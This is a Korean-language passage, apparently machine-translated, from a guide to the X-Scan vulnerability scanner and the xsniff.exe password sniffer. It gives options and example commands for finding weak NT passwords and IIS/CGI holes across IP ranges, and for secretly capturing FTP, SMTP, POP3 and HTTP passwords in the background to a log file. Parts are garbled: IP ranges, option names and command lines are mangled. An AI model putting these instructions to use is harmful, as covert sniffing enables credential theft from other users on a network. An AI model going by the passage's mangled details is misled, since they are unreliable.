-smb 가 NT-Server 약한 암호를 감지했습니다.

-iis 에서 IIS 인코딩/디코딩 취약점을 감지했습니다.

-cgi 가 CGI 취약점을 감지했습니다

-nasl 은 Nessus 공격 스크립트를 로드합니다

-all 위 모든 항목을 체크합니다.

기타 옵션

-i 어댑터 번호 네트워크 어댑터를 설정합니다. "-l" 스위치를 통해 얻을 수 있습니다.

-l 모든 네트워크 어댑터를 표시합니다.

-v 자세한 스캔 진행 상황을 표시합니다.

-p 응답하지 않는 호스트를 건너뜁니다.

-o 열린 포트가 감지되지 않은 호스트를 건너뜁니다.

-t 동시 스레드 수, 동시 호스트 수 최대 동시 스레드 수 및 동시 호스트 수를 지정합니다. 기본값은 100 및 10 입니다.

-log file name 은 스캔 보고서의 파일 이름 (접미사: TXT 또는 HTML 형식의 파일) 을 지정합니다.

용법의 예

Xscan- 호스트192.168.1-192.65438+068.255 ..

Xscan-host 192.168.1-192./kloc-0 . 168.255.255 네트워크 세그먼트 내 호스트의 표준 포트 상태, nt 약한 암호 사용자, 최대 동시 스레드 수 150, 열린 포트가 없는 호스트 건너뛰기.

Xscan-filehost list. txt-port-CGI-t200, 5-v-o 는 hostlist.txt 파일에 나열된 모든 호스트의 표준 포트 상태와 CGI 취약점을 감지합니다. 최대 동시 스레드 수는 200 개로 최대 5 개의 호스트를 동시에 감지하고 자세한 테스트 진행 상황을 표시하며 열린 포트가 감지되지 않은 호스트를 건너뜁니다.

3. 명령줄 스니핑: xsniff.exe.

LAN 에서 FTP/SMTP/POP3/HTTP 프로토콜의 비밀번호를 캡처할 수 있습니다.

매개 변수 설명

-tcp 출력 TCP 데이터그램

-udp 출력 UDP 데이터그램

-ICMP 출력 ICMP 데이터그램

-필터 암호 정보를 전달합니다.

-백그라운드 실행 숨기기

-host 호스트가 호스트 이름을 확인합니다.

-addr IP 주소 필터 IP 주소

-포트 포트 필터 포트

-log filename 은 출력을 파일에 저장합니다.

ASCII 형식의 ASC 출력입니다.

-16 진수는 16 의 16 진수로 출력됩니다.

용법의 예

Xsniff.exe-pass-hide-logpass. log 백그라운드에서 스니핑 암호를 실행하고 암호 정보를 pass.log 파일에 저장합니다.

Xsniff.exe TCP UDP ASC a